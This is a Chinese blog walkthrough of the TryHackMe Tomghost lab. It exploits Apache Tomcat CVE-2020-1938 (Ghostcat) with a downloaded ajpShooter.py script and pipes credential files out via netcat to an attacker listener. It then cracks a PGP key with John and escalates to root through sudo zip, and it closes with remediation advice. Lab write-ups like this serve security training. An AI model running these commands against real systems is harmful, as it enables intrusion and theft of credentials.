以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

这篇具有很好参考价值的文章主要介绍了以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试

1. 概述

1.1 Apache Tomcat

Tomcat服务器是一个免费的开放源代码的Web应用服务器,被普遍使用在轻量级Web应用服务的构架中。 Tomcat提供了可以在其中运行Java代码的“纯Java” HTTP Web服务器环境。

1.2 漏洞简述

CVE-2020-1938是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。

1.3 风险等级

评定方式 等级
CVSS Score 7.5
Confidentiality Impact Partial
Integrity Impact Partial
Availability Impact Partial
实现难度
基础权限 不需要
漏洞类型 Execute Code

tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

1.4 影响范围

tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

1.5 漏洞详情

参见Apache Tomcat CVE-2020-1938,细思极恐&Apache Tomcat任意文件读取漏洞和命令执行漏洞源码分析

2. 环境配置

2.1 方案一: Tryhackme线上虚拟环境

tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

2.2 方案二

3. 漏洞复现

3.1 Initial Recon

  1. 使用Nmap扫描,发现Apache运行在8080端口,8009端口运行ajp服务,
    nmap -sV -sC -T4 <ip>

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

    首页就是Apache的默认页面,没啥有用的,其他页面也无法访问

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  2. Google或Hackticks搜索AJP的相关内容

    1. Google后GitHub上发现可以越权读取web.xml文件的EXP
    2. Hackticks也提供了利用代码(需要修改,本文采用方法一)

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

3.2 Gaining Access

  1. 下载方法一提供的EXP

    wget https://raw.githubusercontent.com/00theway/Ghostcat-CNVD-2020-10487/master/ajpShooter.py

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  2. 运行EXP,获得了一个用户名和密码

    python3 ajpShooter.py http://10.10.76.159 8009 /WEB-INF/web.xml read

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  3. 使用上文获得的用户名和密码进行ssh登录,并发现有两个貌似可以利用的文件:.pgp和.asc!

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全
    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  4. 为了更好的读取两个文件使用nc将他们传到kali上,然后进行base64解码

    base64 credential.pgp | nc 10.9.17.195 1234

    base64 tryhackme.asc | nc 10.9.17.195 1234

    nc -nvlp 1234 > credential.pgp.b64

    nc -nvlp 1234 > tryhackme.asc.b64

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  5. 猜测这个在asc文件中的PGP key是用来打开pgp文件的,那么先来尝试破解这个asc文件,将其转换为hash,然后使用John破解

    base64 -d credential.pgp.b64 > credential.pgp

    base64 -d tryhackme.asc.b64 > tryhackme.asc

    gpg2john tryhackme.asc > tryhackme.asc.john

    john --wordlist=/usr/share/wordlists/rockyou.txt tryhackme.asc.john

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  6. 得到密码后,将破解的key导入到asc文件,然后输入得到的密码,最后得到解密后的pgp文件,发现另外一个用户名

    gpg --import tryhackme.asc

    gpg --decrypt credential.pgp

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

3.3 Privilege Escalation

  1. 使用新获得的用户名和密码ssh登录,使用sudo命令查看当前权限,发现当前用户能够以root权限运行zip并且不需要密码

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

  2. 使用GTFObins提供的方法进行提权

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

    tomcat文件读取漏洞,漏洞复现,Tryhackme,tomcat,apache,安全,网络安全

4. 修复建议

  1. 临时禁用AJP协议端口,在conf/server.xml配置文件中注释掉<Connector port=“8009” protocol="AJP/1.3"redirectPort=“8443” />
  2. 将tomcat升级到9.0.31、8.5.51或者7.0.100版本
  3. 配置secret来设置AJP协议的认证凭证

5. 总结

Apache Tomcat CVE-2020-1938这个漏洞确实凶猛,攻击者可以读取到webapp目录下的任意文件,包括war包。而war包里有properties文件,不少开发团队都把连接数据库的用户名密码、JWT 签名secret、加解密密钥等重要信息放在这个文件里。这个漏洞的存在,允许攻击者可以最终读取到这些密钥数据,当然源码也是能通过反编译war包里的class文件得到的。

为了避免密钥泄露,常规做法(不要硬编码密钥到源代码、密钥单独放置在properties文件并且和源代码分别存储在不同的代码仓库)并不奏效,更为妥善的办法是使用密钥管理服务,你可以直接使用云服务提供商的密钥管理服务,也可以自己搭建一个。

安全原则是很重要的,尤其是最小权限和纵深防御原则。在这个漏洞案例中,就算你使用的Tomcat有问题,但由于相关端口已经关闭,而且还有好几层的网络映射和路由配置的防御,所以也不会受到影响。当然,第三方组件安全管理、安全补丁管理、实施端口监控等手段也有助于减轻或避免这个漏洞带来的影响。

6. References

CVE Details (2020) CVE-2020-1938. Available at: https://www.cvedetails.com/cve/CVE-2020-1938/…(Accessed: 22 Oct 2022).文章来源地址https://www.toymoban.com/news/detail-517077.html

到了这里,关于以Apache Tomcat CVE-2020-1938任意文件读取漏洞(Tomghost)为例基于Tryhackme Tomghost Room的一次渗透测试的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 漏洞复现Tomcat系列弱口令、CVE-2017-12615、CVE-2020-1938

    Tomcat支持在后台部署war文件,可以直接将webshell部署到web目录下。如果可以利用弱口令进去的,可直接getshell vulhub搭建环境 访问靶场地址,使用tomcat/tomcat弱口令登录后台 制作webshell.war 上传shell.war,访问试一下并用冰蝎连接试一下 成功拿到shell权限 Apache Tomcat 7.0.0版本至7.0.

    2024年02月12日
    浏览(27)
  • 【网络安全---漏洞复现】Tomcat CVE-2020-1938 漏洞复现和利用过程(特详细)

    分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记 Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的

    2024年02月08日
    浏览(38)
  • Tomcat--文件上传--文件包含--(CVE-2017-12615)&&(CVE-2020-1938)

    采用Vulfocus靶场环境进行复现,搭建操作和文章参考具体搭建教程参考vulfocus不能同步的解决方法/vulfocus同步失败。 当存在漏洞的Tomcat运行在Windows/Linux主机上, 且启用了HTTP PUT请求方法( 例如, 将readonly初始化参数由默认值设置为false) , 攻击者将有可能可通过精心构造的

    2024年02月08日
    浏览(31)
  • 【漏洞复现】Apache_Tomcat_PUT方法任意写文件(CVE-2017-12615)

    感谢互联网提供分享知识与智慧,在法治的社会里,请遵守有关法律法规 说明 内容 漏洞编号 CVE-2017-12615 漏洞名称 Tomcat_PUT方法任意写文件 漏洞评级 高危 影响范围 Tomcat版本:8.5.19 漏洞描述 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件 修复方案

    2024年02月05日
    浏览(24)
  • 【高危】Apache Airflow Spark Provider 任意文件读取漏洞 (CVE-2023-40272)

    Apache Airflow Spark Provider是Apache Airflow项目的一个插件,用于在Airflow中管理和调度Apache Spark作业。 受影响版本中,在JDBC连接时,由于没有对conn_prefix参数做验证,允许输入\\\"?\\\"来指定参数。攻击者可以通过构造参数?allowLoadLocalInfile=true连接攻击者控制的恶意mysql服务器,读取Airfl

    2024年02月11日
    浏览(32)
  • Apache Tomcat 安全漏洞(CVE-2020-13935)复现

    漏洞详情: Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。 Apache Tomcat中的WebSocket存在安全漏洞,该漏洞源于程序没有正确验证payload的长度。攻击者可利用该漏洞造成拒绝服务(无限循环)。 影响版

    2024年02月11日
    浏览(37)
  • CVE-2020-17518 flink任意文件上传漏洞复现

    Apache Flink 是由Apache软件基金会开发的开源流处理框架,其核心是用Java和Scala编写的分布式流数据流引擎。Flink以数据并行和流水线方式执行任意流数据程序,Flink的流水线运行时系统可以执行批处理和流处理程序。 编号:CVE-2020-17518 Flink 1.5.1引入了REST API,但其实现上存在多处

    2024年02月10日
    浏览(30)
  • 【漏洞复现】Tomcat 任意写入文件漏洞(CVE-2017-12615)

    Apache Tomcat 7.0.0到7.0.79版本中存在远程代码执行漏洞, 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法时,攻击者可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件 ,文件中的代码被服务器执行。 Apache Tomcat =7.0.0,=7.0.79 漏洞的Tomcat运行在Windows/Linux主

    2024年02月13日
    浏览(33)
  • 春秋云境:CVE-2022-25401(任意文件读取漏洞)

    一、题目 二、curl访问flag文件 介绍:         Cuppa CMS v1.0 administrator/templates/default/html/windows/right.php文件存在任意文件读取漏洞  进入题目 是一个登录页面 sql和暴破都无解。 官方POC  国家信息安全漏洞库 cve漏洞介绍 官方给错了目录 没有administrator/ 找不到 官方poc  代码块

    2024年02月10日
    浏览(28)
  • 【漏洞复现】Ruby on Rails 路径穿越与任意文件读取漏洞(CVE-2019-5418)

    1. 漏洞简介 Ruby on Rails使用了指定参数的render file来渲染应用之外的视图,且会根据用户传入的Accept头来确定文件具体位置。我们可以通过修改访问某控制器的请求包,通过…/…/…/…/来达到路径穿越的目的,然后再通过{{来闭合模板查询路径,那我们访问的文件会被当做外部

    2024年02月04日
    浏览(42)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包